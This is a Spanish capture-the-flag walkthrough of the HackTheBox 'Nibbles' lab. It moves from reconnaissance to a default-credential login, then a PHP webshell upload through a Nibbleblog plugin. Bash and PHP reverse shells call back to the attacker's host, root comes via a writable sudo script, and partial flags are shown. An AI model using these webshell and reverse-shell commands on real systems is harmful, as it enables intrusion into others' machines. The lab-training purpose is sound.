HTB Nibbles
¡Hola!
En esta ocasión vamos a resolver de la máquina nibbles
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre nibbles
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack nibbles
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.75
[*] Detectando sistema operativo ...
[+] 10.10.10.75 ttl=63 >> Linux
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.75 -oG ports | grep open
22/tcp open ssh
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p22,80 -sCV 10.10.10.75 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del puerto 80
por medio de la utilidad whatweb
para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.
whatweb 10.10.10.75
http://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75]
Inspeccionando las peticiones con la utilidad curl
podemos ver un comentario que presume una ruta oculta denominada /nibbleblog
.
curl -s http://10.10.10.75/
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Poco podemos utilizar de la información obtenida, así que vamos a realizar fuzzing por medio de dirsearch
, esta vez para encontrar rutas con posible contenido que pueda ser útil.
dirsearch -x 404,403,301 -t 200 -f -u http://10.10.10.75/nibbleblog/
[00:06:59] 200 - 1KB - /nibbleblog/admin.php
[00:06:59] 200 - 2KB - /nibbleblog/admin/
[00:07:29] 200 - 1KB - /nibbleblog/content/
[00:07:52] 200 - 3KB - /nibbleblog/languages/
[00:08:09] 200 - 4KB - /nibbleblog/plugins/
[00:08:23] 200 - 2KB - /nibbleblog/themes/
Al revisar los directorios, podemos identificar un potencial usuario admin
, el cual puede ser de utilidad en el momento de acceder con credenciales a un portal.
También logramos detectar la versión de nibbleblog
almacenado en un screenshot en lo recursos de la máquina.
Realizamos la búsqueda de posibles exploits públicos existentes para la versión 4 de nibbleblog, obteniendo éxito en sus resultados.
searchsploit nibble 4
--------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------- ---------------------------------
Nibbleblog 4.0.3 - Arbitrary File Upload (Me | php/remote/38489.rb
--------------------------------------------- ---------------------------------
Luego de entender un poco más el script, su función se basa en el plugin my_image
que permite la subida de archivos, sin embargo, requerimos de un acceso al portal, por lo que accedemos a la ruta http://10.10.10.75/nibbleblog/admin.php
.
En el login se realizaron pruebas de fuerza bruta, pero esto ocasionó un bloqueo por la cantidad de intentos realizados, así que en esta máquina recomiendo que intenten realizar intentos manuales con credenciales por defecto o asociadas a la máquina.
Las credenciales de acceso son admin
:nibbles
NOTA: El usuario admin
lo obtuvimos de la enumeración web
Ahora que tenemos acceso a las opciones del servidor, vamos a acceder a la carpeta plugins
y configuramos el plugin My image
.
Vamos a proceder con la intrusión intentando subir una serie de archivos que permitan obtener una shell reversa e interactiva en nuestra máquina, para esto accedemos a nuestra carpeta exploit
.
cd ../exploit
INTRUSION WEBSHELL PHP + REVERSE SHELL BASH
Creamos un archivo webshell.php
y generamos un código para lograr una shell a nivel web en el servidor afectado.
vim webshell.php
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
Subimos el archivo en el plugin My image
y hacemos una prueba ejecutando un comando de reconocimiento.
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
Obteniendo una prueba exitosa, procedemos a activar un listener.
nc -lnvp 4564
Generamos una reverse shell en bash con la siguiente petición web.
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/4564 0>%261"
INTRUSION REVERSE SHELL PHP
Otra manera de realizar una intrusión es directamente con una reverse shell en php
, para esto vamos a localizar y copiar una reverse shell en los recursos de nuestra máquina.
locate php-reverse-shell
cp /usr/share/webshells/php/php-reverse-shell.php .
Procedemos a modificar la reverse shell con nuestra IP
y puerto
que vamos a utilizar para generar la conexión con nuestra máquina.
vim php-reverse-shell.php
#MODIFICAR LINEAS 49 Y 50
$ip = '10.10.14.6'; // CHANGE THIS
$port = 4564; // CHANGE THIS
Subimos el archivo en el plugin My image
.
Procedemos a activar un listener.
nc -lnvp 4564
Consultamos el recurso en la siguiente URL.
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
ESCALADA DE PRIVILEGIOS
Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando los permisos a nivel de sudo
.
nibbler@Nibbles:/$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Se identifica que es posible ejecutar el comando /home/nibbler/personal/stuff/monitor.sh
con privilegios, así que vamos a ir a la ruta /home/nibbler
y creamos las carpetas personal
y stuff
, debido a que no existen actualmente.
cd /home/nibbler/
mkdir -p personal/stuff
cd !$
Ingresamos a la ruta /home/nibbler/personal/stuff
y creamos el script monitor.sh
con el siguiente contenido.
nano monitor.sh
#!/bin/bash
bash
Asignamos permisos de ejecución.
chmod +x monitor.sh
Ejecutamos el comando y finalmente obtenemos acceso al sistema con un usuario privilegiado.
sudo /home/nibbler/personal/stuff/monitor.sh
whoami
root
FLAGS
Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user
y root
#USER
find / -name user.txt 2>/dev/null | xargs head -c 10; echo
eb6f5526f2
#ROOT
find / -name root.txt 2>/dev/null | xargs head -c 10; echo
8ea802495e
¡Hemos logrado completar la máquina nibbles
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit..